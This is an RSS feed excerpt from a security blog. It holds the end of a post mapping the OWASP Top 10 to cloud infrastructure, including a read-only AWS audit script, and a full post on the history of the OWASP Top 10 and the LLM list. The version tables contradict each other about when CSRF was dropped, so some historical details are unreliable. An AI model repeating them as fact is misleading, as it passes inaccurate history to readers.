echo &quot;=== A01: Broken Access Control ===&quot;
echo &quot;--- S3 public access block status ---&quot;
aws s3control get-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text) 2&gt;/dev/null || \
  echo &quot;WARN: Account-level public access block not set&quot;

echo &quot;&quot;
echo &quot;=== A02: Cryptographic Failures ===&quot;
echo &quot;--- EBS default encryption ---&quot;
aws ec2 get-ebs-encryption-by-default --query &#039;EbsEncryptionByDefault&#039; --output text

echo &quot;&quot;
echo &quot;=== A05: Security Misconfiguration ===&quot;
echo &quot;--- GuardDuty status in current region ---&quot;
aws guardduty list-detectors --query &#039;DetectorIds&#039; --output text || echo &quot;DISABLED&quot;

echo &quot;&quot;
echo &quot;=== A07: Authentication Failures ===&quot;
echo &quot;--- IAM users without MFA ---&quot;
aws iam generate-credential-report 2&gt;/dev/null
sleep 3
aws iam get-credential-report --query &#039;Content&#039; --output text | base64 -d | \
  awk -F&#039;,&#039; &#039;NR&gt;1 &amp;&amp; $4==&quot;true&quot; &amp;&amp; $8==&quot;false&quot; {print &quot;NO MFA: &quot;$1}&#039;

echo &quot;&quot;
echo &quot;=== A09: Logging/Monitoring Failures ===&quot;
echo &quot;--- CloudTrail multi-region trail ---&quot;
aws cloudtrail describe-trails --query &#039;trailList[?IsMultiRegionTrail==`true`].Name&#039; --output text || \
  echo &quot;WARN: No multi-region trail&quot;

echo &quot;&quot;
echo &quot;=== A10: SSRF ===&quot;
echo &quot;--- EC2 instances with IMDSv1 enabled ---&quot;
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[?MetadataOptions.HttpTokens!=`required`].{ID:InstanceId,IMDS:MetadataOptions.HttpTokens}&#039; \
  --output table
</code></pre>
<hr />
<h2 id="common-mistakes-when-mapping-owasp-to-infrastructure"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Mapping OWASP to Infrastructure</h2>
<p><strong>Treating it as a checklist, not a threat model.</strong> OWASP categories are not yes/no checkboxes. &#8220;Is broken access control present?&#8221; is not a question with a binary answer. The question is: which resources are accessible to which principals, and is that access correct given the intended design?</p>
<p><strong>Ignoring A09 (Logging/Monitoring) until the breach.</strong> The first nine categories are about preventing or limiting the attack. A09 is about knowing it happened. Without A09 controls, you will not know you were breached until a third party tells you.</p>
<p><strong>Fixing web-layer controls and ignoring the infrastructure equivalents.</strong> An organization that scores well on OWASP in their web application pen test may still have public S3 buckets, IMDSv1 enabled everywhere, and no CloudTrail in us-west-1. The mapping in this episode applies to infrastructure — run it separately from your application security assessments.</p>
<p><strong>Conflating A06 (Vulnerable Components) with just &#8220;patch management.&#8221;</strong> XZ Utils was fully patched in the affected timeframe — the malicious version <em>was</em> the latest release. A06 in the supply chain context is about verifying the integrity of what you install, not just its version number.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>OWASP</th>
<th>Cloud Infrastructure Equivalent</th>
<th>Detection Tool</th>
</tr>
</thead>
<tbody>
<tr>
<td>A01</td>
<td>IAM wildcards, public S3, broad trust policies</td>
<td>AWS Config, CloudTrail</td>
</tr>
<tr>
<td>A02</td>
<td>Plaintext secrets in env vars, unencrypted S3</td>
<td>TruffleHog, Macie</td>
</tr>
<tr>
<td>A03</td>
<td>SSRF, Log4j JNDI injection</td>
<td>WAF logs, CloudTrail IMDS calls</td>
</tr>
<tr>
<td>A04</td>
<td>Privileged containers, no seccomp</td>
<td>OPA/Gatekeeper, Falco</td>
</tr>
<tr>
<td>A05</td>
<td>K8s RBAC defaults, open etcd, open SGs</td>
<td>kube-bench, AWS Config</td>
</tr>
<tr>
<td>A06</td>
<td>Unpatched base images, transitive CVEs, supply chain</td>
<td>Trivy, Grype, SLSA</td>
</tr>
<tr>
<td>A07</td>
<td>MFA fatigue, long-lived sessions, stolen tokens</td>
<td>GuardDuty, Okta logs</td>
</tr>
<tr>
<td>A08</td>
<td>Unsigned images, mutable CI references, build compromise</td>
<td>Cosign, SLSA, OIDC</td>
</tr>
<tr>
<td>A09</td>
<td>No CloudTrail, no GuardDuty, no runtime telemetry</td>
<td>AWS Security Hub</td>
</tr>
<tr>
<td>A10</td>
<td>IMDSv1 on EC2, SSRF to internal endpoints</td>
<td>VPC Flow Logs, CloudTrail</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>OWASP Top 10 is a threat taxonomy — every category has a cloud, Kubernetes, or Linux infrastructure equivalent</li>
<li>A01 (Broken Access Control) is the most common cloud failure: IAM wildcards, public S3, and overly broad trust policies</li>
<li>A10 (SSRF) is what enabled the Capital One breach — IMDSv1 on EC2 makes any SSRF a credential theft path</li>
<li>A08 (Software/Data Integrity) is the SolarWinds attack class — supply chain compromise of the build pipeline itself</li>
<li>A09 (Logging/Monitoring) is the category that turns the other nine from &#8220;detectable breach&#8221; into &#8220;11-day dwell time&#8221;</li>
<li>Fixing A01–A08 without A09 means you improve your controls but still won&#8217;t know when they&#8217;re bypassed</li>
<li>Run the OWASP coverage self-assessment above and record your baseline before starting the episode exercises</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP03 is the breach landscape: six major incidents from December 2020 (SolarWinds) through April 2024 (XZ Utils). Each one maps to the OWASP categories from this episode. The pattern across all six is three root causes — identity, supply chain, misconfiguration — and understanding that pattern tells you where to spend your next purple team exercise. The <a href="/cloud-security-breaches-2020-2025/">cloud security breaches from 2020 to 2025</a> are the empirical record this series is built on.</p>
<p>Get EP03 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&amp;linkname=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-cloud-infrastructure%2F&#038;title=OWASP%20Top%2010%20Mapped%20to%20Cloud%20Infrastructure%3A%20Beyond%20Web%20Apps" data-a2a-url="https://linuxcent.com/owasp-top-10-cloud-infrastructure/" data-a2a-title="OWASP Top 10 Mapped to Cloud Infrastructure: Beyond Web Apps"></a></p><p>The post <a href="https://linuxcent.com/owasp-top-10-cloud-infrastructure/">OWASP Top 10 Mapped to Cloud Infrastructure: Beyond Web Apps</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/owasp-top-10-cloud-infrastructure/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1846</post-id>	</item>
		<item>
		<title>OWASP Top 10 History: How the List Evolved from 2003 to 2025</title>
		<link>https://linuxcent.com/owasp-top-10-history-evolution/</link>
					<comments>https://linuxcent.com/owasp-top-10-history-evolution/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 04 May 2026 12:26:23 +0000</pubDate>
				<category><![CDATA[AI Security]]></category>
		<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[LLM Security]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Security History]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1892</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span>OWASP Top 10 history: how the list evolved from SQL injection in 2003 to LLM prompt injection in 2025 — and what stayed constant across every version.</p>
<p>The post <a href="https://linuxcent.com/owasp-top-10-history-evolution/">OWASP Top 10 History: How the List Evolved from 2003 to 2025</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 8</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p>series: OWASP LLM Top 10: From Web Roots to AI Frontiers<br />
episode: 1 of 22<br />
status: Draft<br />
slug: /owasp-top-10-history-evolution/<br />
focus_keyphrase: OWASP Top 10 history evolution<br />
search_intent: Informational<br />
meta_description: &#8220;OWASP Top 10 history: how the list evolved from SQL injection in 2003 to LLM prompt injection in 2025 — and what stayed constant across every version.&#8221;<br />
owasp_mapping: &#8220;Foundation episode — establishes the OWASP organization, methodology, and six-version evolution before branching to the four lists that exist today (Web App, API, Cloud-Native, LLM).&#8221;</p>
<hr />
<p><strong>OWASP Top 10 History</strong> → <a href="/owasp-llm-top-10-vs-owasp-top-10/">The Four OWASP Lists</a> → <a href="/llm-security-risks-owasp/">Why Classic OWASP Breaks for LLMs</a> → <a href="/owasp-llm-top-10-2025/">OWASP LLM Top 10 2025</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>OWASP Top 10 history evolution</strong> spans six published versions from 2003 to 2021 — the category names change every cycle; the underlying failure classes do not</li>
<li>Injection, broken authentication, and access control have appeared in every single version under different names; they were exploited in 2003 and they are still the top breach vectors in 2025</li>
<li>The 2021 edition abstracted away from web-app-specific language into attack classes — which is what made OWASP applicable to cloud infrastructure, APIs, Kubernetes, and ultimately AI systems</li>
<li>OWASP is not a compliance standard; it is a community consensus on risk — but in 2025, the EU AI Act began directly citing the OWASP AI Exchange, which changes that calculus</li>
<li>Four distinct OWASP Top 10 lists exist today: Web App (2021), API Security (2023), Cloud-Native App Security, and LLM Applications (2025) — this series covers the last one, built on the foundation of the first</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> Foundation episode. No single OWASP LLM category. This episode traces the lineage from OWASP Top 10 (2003) through all six web app versions to the four lists that exist in 2025. Every subsequent episode maps directly to one or more OWASP LLM Top 10 (2025) categories.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">OWASP TOP 10 EVOLUTION: 2003 → 2025

2003 ──&#x25b6; Web-era injection (SQL, XSS, parameter tampering)
          │  HTTP/1.0 apps. Databases directly exposed via
          │  dynamic SQL. Sessions via URL parameters.
          │
2007 ──&#x25b6; Session management + insecure comms elevated
          │  HTTPS adoption slow. Cookie theft common.
          │
2010 ──&#x25b6; Unvalidated redirects added. XSS re-ranked.
          │  The list reflects what&#039;s being actively exploited.
          │
2013 ──&#x25b6; CSRF dropped. Missing Function-Level Access added.
          │  First signs of API/microservice thinking.
          │
2017 ──&#x25b6; Risk-weighted ranking. CWE mappings. XXE added.
          │  Insecure Deserialization, Logging failures enter.
          │  The list becomes infrastructure-aware.
          │
2021 ──&#x25b6; Abstracted to attack classes. Insecure Design +
          │  SSRF added. Infrastructure/cloud applicability.
          │  ┌──────────────────────────────┐
          │  │ Now maps to cloud infra      │ ← Purple Team EP02
          │  │ Kubernetes, APIs, pipelines  │
          │  └──────────────────────────────┘
          │
          ├──&#x25b6; API Security Top 10 (2023)
          │     REST/GraphQL-specific risks
          │
          ├──&#x25b6; Cloud-Native App Security Top 10
          │     Containers, orchestration
          │
          └──&#x25b6; LLM Applications Top 10 (2023 v1 → 2025 v2)
                Prompt injection, model poisoning, RAG attacks
                ← THIS SERIES
</code></pre>
<p><strong>OWASP Top 10 history</strong> is not a list of bugs. It is a snapshot of where the application surface was — and where attackers found the seams — taken every three to four years.</p>
<hr />
<h2 id="the-2003-founding-what-the-web-looked-like">The 2003 Founding: What the Web Looked Like</h2>
<p>The OWASP Foundation was established in 2001. The first Top 10 list shipped in 2003.</p>
<p>The web in 2003 looked nothing like it does now. Applications were monolithic. Databases were directly queried via dynamic SQL strings concatenated from user input. Authentication was session cookies stored in URL parameters. &#8220;Security&#8221; was a firewall at the network perimeter — if you were inside the network, you were trusted.</p>
<p>SQL injection was not a theoretical risk. It was how attackers exfiltrated data in bulk, every day, at scale. The same for XSS: inject JavaScript into a page, steal session cookies, impersonate users. These were not edge cases — they were the primary breach vectors because the web was built without any assumption that input was untrusted.</p>
<p>The OWASP founding premise: developers build these vulnerabilities not because they are negligent, but because the threat model was never taught. The Top 10 list was documentation, not enforcement — a shared vocabulary for what actually causes breaches.</p>
<hr />
<h2 id="version-by-version-what-changed-and-what-did-not">Version-by-Version: What Changed and What Did Not</h2>
<table>
<thead>
<tr>
<th>Year</th>
<th>Most Significant Addition</th>
<th>What Dropped / Changed</th>
<th>What It Reflects</th>
</tr>
</thead>
<tbody>
<tr>
<td>2003</td>
<td>Unvalidated Input, SQL Injection, XSS, Command Injection</td>
<td>—</td>
<td>Dynamic SQL era; input treated as trusted</td>
</tr>
<tr>
<td>2007</td>
<td>CSRF, Insecure Comms, Improper Error Handling</td>
<td>Unvalidated Input consolidated</td>
<td>HTTPS adoption gap; session theft via network</td>
</tr>
<tr>
<td>2010</td>
<td>Unvalidated Redirects + Forwards</td>
<td>CSRF de-emphasized</td>
<td>Open redirectors weaponized for phishing</td>
</tr>
<tr>
<td>2013</td>
<td>CSRF dropped; Missing Function-Level Access</td>
<td>Insecure Storage removed</td>
<td>API-style thinking entering the list</td>
</tr>
<tr>
<td>2017</td>
<td>Insecure Deserialization, Logging + Monitoring Failures, XXE</td>
<td>Unvalidated Redirects dropped</td>
<td>Server-side attack complexity; blind spots in detection</td>
</tr>
<tr>
<td>2021</td>
<td><strong>Insecure Design</strong> (new class), SSRF</td>
<td>XSS merged under Injection</td>
<td>Architecture-level risk; abstract attack classes introduced</td>
</tr>
</tbody>
</table>
<p><strong>The column that doesn&#8217;t change:</strong> Broken Access Control, Injection, and Authentication Failures have appeared in every version. The names shift (A01 becomes A07 becomes A01 again). The category descriptions evolve. The underlying failure — you can access things you shouldn&#8217;t, or execute code you shouldn&#8217;t, or authenticate as someone you&#8217;re not — never leaves the list.</p>
<p>This is the most important observation in the entire series: <strong>OWASP&#8217;s vocabulary modernizes; the failure classes are constants</strong>. When you see LLM01 Prompt Injection in the 2025 LLM list, you are looking at the same failure class as A03 Injection in the web app list. The attack surface changed. The category did not.</p>
<hr />
<h2 id="what-the-2021-abstraction-unlocked">What the 2021 Abstraction Unlocked</h2>
<p>The 2017 → 2021 transition was architecturally significant. Prior versions were implicitly scoped to HTTP requests against web applications. The 2021 list made a deliberate choice to describe attack <em>classes</em> rather than attack <em>techniques</em>.</p>
<p>&#8220;Injection&#8221; in 2021 means: untrusted data is sent to an interpreter and executed as code or commands. That definition covers SQL injection, LDAP injection, OS command injection — and, it turns out, natural language prompt injection in LLMs. The definition doesn&#8217;t care what the interpreter is.</p>
<p>&#8220;Broken Access Control&#8221; in 2021 means: a principal can act on a resource or perform an action it was not intended to. That covers misconfigured S3 buckets, Kubernetes RBAC gaps — and an LLM agent with tool access that hasn&#8217;t been scoped to least capability.</p>
<p>This abstraction is why OWASP became applicable to cloud infrastructure, APIs, containers, and AI. It&#8217;s also why the Purple Team series (specifically EP02) was able to map the entire 2021 list directly to cloud infrastructure attack paths — and why this series can map the same abstraction to LLM attack surfaces.</p>
<p>For the cloud infrastructure angle, see <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a>. This series starts where that one ends: the attack surface that cloud infrastructure runs on is increasingly powered by language models.</p>
<hr />
<h2 id="the-four-lists-that-exist-today">The Four Lists That Exist Today</h2>
<p>OWASP has expanded beyond the original web app list. Four Top 10 lists are actively maintained as of 2025:</p>
<p><strong>OWASP Top 10 — Web Application Security Risks (2021)</strong><br />
The original. HTTP-layer attacks on server-rendered or API-backed apps. A01 Broken Access Control through A10 SSRF. Still the baseline for any web-facing application.</p>
<p><strong>OWASP API Security Top 10 (2023)</strong><br />
REST and GraphQL-specific. Broken Object Level Authorization (BOLA/IDOR), excessive data exposure, mass assignment, unrestricted resource consumption. API attacks account for the majority of cloud breaches — this list exists because the web app list missed API-specific attack surfaces.</p>
<p><strong>OWASP Cloud-Native Application Security Top 10</strong><br />
Kubernetes, containers, orchestration-layer risks: insecure workload configurations, misconfigured cloud storage, vulnerable container images, runtime compromise. The cloud-infra angle.</p>
<p><strong>OWASP Top 10 for LLM Applications (2025)</strong><br />
The list this series is built on. Prompt injection, model poisoning, supply chain risks for model artifacts, RAG database attacks, autonomous agent over-permission. The attack surfaces that arrive when you embed a language model in your infrastructure.</p>
<p>The full comparison — which list applies to which part of your architecture, and how they overlap — is in the next episode.</p>
<hr />
<h2 id="why-ai-arrived-at-owasp">Why AI Arrived at OWASP</h2>
<p>The OWASP Top 10 for LLM Applications was not invented top-down. It came from practitioners who were deploying language models and cataloguing the breach patterns they were seeing.</p>
<p>The first version (v1.0) shipped in August 2023, driven by a working group that formed in May 2023 — roughly six months after ChatGPT created widespread LLM deployment. The timeline matters: security researchers were finding real vulnerabilities in production systems in real time, and the OWASP list was the community&#8217;s way of documenting the emerging threat model before it became a liability.</p>
<p>Version 2.0 shipped in November 2024. Two entirely new categories — System Prompt Leakage (LLM07) and Vector/Embedding Weaknesses (LLM08) — were added because RAG-based applications and agentic AI had become prevalent enough that their specific attack surfaces warranted dedicated treatment. Sensitive Information Disclosure moved from #6 to #2 because real breach data, not theory, showed it was the second most commonly exploited category.</p>
<p>The OWASP AI Exchange — a parallel OWASP project — went further. It produced a 300-page technical guide on AI security and privacy and contributed directly to the EU AI Act&#8217;s technical requirements. As of 2025, the EU AI Act for high-risk AI systems references risk assessment requirements that align directly with OWASP LLM Top 10 categories. OWASP is still not a compliance standard. But for AI systems in the EU, ignoring it is no longer a neutral choice.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>&#8220;OWASP is a checklist you run once&#8221;</strong><br />
It&#8217;s a living document updated every 3–4 years based on actual breach data. The 2021 web app list is not the same document as the 2017 list. The 2025 LLM list has different categories than the 2023 v1 list. Running the 2017 checklist on a 2025 system is not OWASP compliance — it is a false sense of coverage.</p>
<p><strong>&#8220;We are OWASP compliant&#8221;</strong><br />
OWASP is not a compliance standard. There is no OWASP certification, no OWASP audit, no OWASP controls framework. Organizations that say &#8220;we are OWASP compliant&#8221; mean they have reviewed the list and addressed the categories — that is a risk reduction exercise, not a regulatory state. The EU AI Act is a compliance standard. NIST AI RMF is a compliance framework. OWASP is the technical operationalization of both.</p>
<p><strong>&#8220;The LLM Top 10 only matters if you&#8217;re building LLMs&#8221;</strong><br />
You don&#8217;t need to build LLMs for the list to apply. If you are deploying a chatbot powered by a third-party API, using an AI coding assistant that has access to your codebase, or running a RAG application that indexes internal documents — you are within scope of LLM01 through LLM10. The attack surface is the integration, not the model itself.</p>
<hr />
<h2 id="quick-reference-owasp-top-10-versions">Quick Reference: OWASP Top 10 Versions</h2>
<table>
<thead>
<tr>
<th>Year</th>
<th>Version</th>
<th>Key Additions</th>
<th>Key Removals</th>
<th>Architectural Context</th>
</tr>
</thead>
<tbody>
<tr>
<td>2003</td>
<td>v1.0</td>
<td>Injection, Broken Auth, XSS, Insecure Config</td>
<td>—</td>
<td>Monolithic web apps, dynamic SQL</td>
</tr>
<tr>
<td>2007</td>
<td>v2.0</td>
<td>CSRF, Insecure Comms</td>
<td>Unvalidated Input → merged</td>
<td>HTTPS gap, session theft</td>
</tr>
<tr>
<td>2010</td>
<td>v3.0</td>
<td>Unvalidated Redirects</td>
<td>—</td>
<td>Phishing via redirectors</td>
</tr>
<tr>
<td>2013</td>
<td>v4.0</td>
<td>Missing Function-Level Access</td>
<td>CSRF moved to lower priority</td>
<td>API patterns emerging</td>
</tr>
<tr>
<td>2017</td>
<td>v5.0</td>
<td>XXE, Insecure Deserialization, Logging Failures</td>
<td>Unvalidated Redirects</td>
<td>Microservices, detection gaps</td>
</tr>
<tr>
<td>2021</td>
<td>v6.0</td>
<td>Insecure Design, SSRF</td>
<td>XSS merged into Injection</td>
<td>Attack class abstraction; cloud/AI applicability</td>
</tr>
</tbody>
</table>
<p><strong>Current parallel lists:</strong></p>
<table>
<thead>
<tr>
<th>List</th>
<th>Last Updated</th>
<th>Primary Surface</th>
<th>Key Org</th>
</tr>
</thead>
<tbody>
<tr>
<td>Web App Top 10</td>
<td>2021</td>
<td>HTTP/web apps</td>
<td>OWASP</td>
</tr>
<tr>
<td>API Security Top 10</td>
<td>2023</td>
<td>REST/GraphQL APIs</td>
<td>OWASP</td>
</tr>
<tr>
<td>Cloud-Native App Security Top 10</td>
<td>2022</td>
<td>K8s/containers</td>
<td>OWASP</td>
</tr>
<tr>
<td>LLM Applications Top 10</td>
<td>2025 (v2.0)</td>
<td>Language models/AI</td>
<td>OWASP GenAI</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Relevant Function</th>
<th>Connection to OWASP History</th>
</tr>
</thead>
<tbody>
<tr>
<td>NIST CSF 2.0</td>
<td>IDENTIFY (ID.RA)</td>
<td>OWASP is the community risk catalog that feeds asset risk assessments</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>A.8.8 (vulnerability management)</td>
<td>OWASP Top 10 is the standard reference for vulnerability class coverage</td>
</tr>
<tr>
<td>NIST AI RMF</td>
<td>MAP 1.5</td>
<td>Identify which risk categories from OWASP LLM Top 10 apply to specific system components</td>
</tr>
<tr>
<td>EU AI Act</td>
<td>Art. 9 (risk management system)</td>
<td>High-risk AI system risk assessments reference OWASP AI Exchange technical guidance</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>OWASP Top 10 history is the story of attack surfaces expanding — web to API to cloud to AI — with the same failure classes appearing at each layer</li>
<li>The 2021 abstraction to attack classes (not web-specific techniques) was the architectural decision that made OWASP applicable everywhere, including LLMs</li>
<li>Four lists exist today; real systems touch multiple lists simultaneously</li>
<li>The LLM Top 10 (v2.0, 2025) is not theoretical — it was built from documented production breach patterns, and v2.0 added new categories because RAG and agentic AI created new attack surfaces fast enough to warrant them</li>
<li>OWASP is a risk framework, not a compliance standard — until 2025, when the EU AI Act began referencing OWASP AI Exchange guidance for high-risk AI systems</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP02 answers the navigation question this episode raises: if four OWASP lists exist, which one applies to your system — and what happens when a single architecture touches all four at once?</p>
<p><a href="/owasp-llm-top-10-vs-owasp-top-10/">The Four OWASP Lists: Web App, API, Cloud-Native, and LLM Compared →</a></p>
<p>Get EP02 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe/">subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-history-evolution%2F&amp;linkname=OWASP%20Top%2010%20History%3A%20How%20the%20List%20Evolved%20from%202003%20to%202025" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-history-evolution%2F&amp;linkname=OWASP%20Top%2010%20History%3A%20How%20the%20List%20Evolved%20from%202003%20to%202025" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-history-evolution%2F&amp;linkname=OWASP%20Top%2010%20History%3A%20How%20the%20List%20Evolved%20from%202003%20to%202025" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-history-evolution%2F&amp;linkname=OWASP%20Top%2010%20History%3A%20How%20the%20List%20Evolved%20from%202003%20to%202025" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-top-10-history-evolution%2F&amp;linkname=OWASP%20Top%2010%20History%3A%20How%20the%20List%20Evolved%20from%202003%20to%202025" title="X" rel="nofollow noopener" 